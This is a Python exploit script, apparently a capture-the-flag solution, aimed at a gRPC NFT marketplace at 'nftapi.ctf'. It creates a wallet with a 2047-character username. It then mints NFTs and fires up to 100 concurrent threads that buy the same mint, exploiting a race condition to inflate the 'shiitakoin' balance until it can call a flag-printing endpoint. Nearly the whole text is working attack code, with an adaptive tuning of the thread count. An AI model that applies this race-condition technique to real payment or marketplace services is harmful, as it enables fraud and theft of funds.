import grpc import google.protobuf import enoki_pb2 import enoki_pb2_grpc import concurrent.futures from threading import Thread import time from math import log2, ceil ca = b'' with open('ca.pem', 'rb') as file: ca = file.read() key = b'' with open('access.key', 'rb') as file: key = file.read() def buyer(creds, id_minted, result, index): result[index] = stub.MintBuyer(enoki_pb2.MintBuy(creds=creds, id_minted=id_minted)) class Auth(grpc.AuthMetadataPlugin): def __init__(self, key): self._key = key def __call__(self, context, callback): callback((('rpc-auth', self._key),), None) # Establish the connection channel = grpc.secure_channel( 'nftapi.ctf:50054', grpc.composite_channel_credentials( grpc.ssl_channel_credentials(ca), grpc.metadata_call_credentials(Auth(key)))) stub = enoki_pb2_grpc.EnokiStub(channel) # Wallet credential creds = enoki_pb2.WalletCredentials(username='A'*2047, password='pass') # Silently create the wallet res = stub.WalletCreator(creds) # Fetch information about our wallet and make sure we have the right password try: wallet = list(filter(lambda wallet: wallet.username == creds.username, stub.WalletsViewer(enoki_pb2.CredentialsWrapper(creds=creds))))[0] print(f"Starting with {wallet.shiitakoin} shiitakoin") except IndexError: print("Wrong password! Use the right one or choose another username.") start = time.time() # Run until we get enough shiitakoin thread_count = 100 while wallet.shiitakoin < 100000: # Create a NFT nft = stub.NFTCreator( enoki_pb2.NFTCreate(creds=creds, name="", data="data:image/")) if nft.message == "": print("Failed to create a NFT.") exit(1) # Create a Mint mint = stub.NFTMinter(enoki_pb2.NFTMint( creds=creds, id_nft=nft.id_nft, buyout=wallet.shiitakoin)) if mint.message == "": print("Failed to mint.") exit(1) # Buying mint threads = [None] * thread_count results = [None] * thread_count for i in range(thread_count): threads[i] = Thread(target=buyer, args=(creds, mint.id_minted, results, i)) for t in threads: t.start() for t in threads: t.join() wallet = list(filter(lambda wallet: wallet.username == creds.username, stub.WalletsViewer(enoki_pb2.CredentialsWrapper(creds=creds))))[0] now = int(time.time() - start) print(f"[{now:>8}][{thread_count} threads] {wallet.shiitakoin:>6}/100000 shiitakoin") # Find optimal thread count for latency + username length for next run thread_count = len(list(filter(lambda x: x.id_nft != 0, results))) thread_count += ceil(thread_count / 10) # Get Flag flag = stub.FlagPrinter(enoki_pb2.CredentialsWrapper(creds=creds)) print(f"flag: {flag.flag}")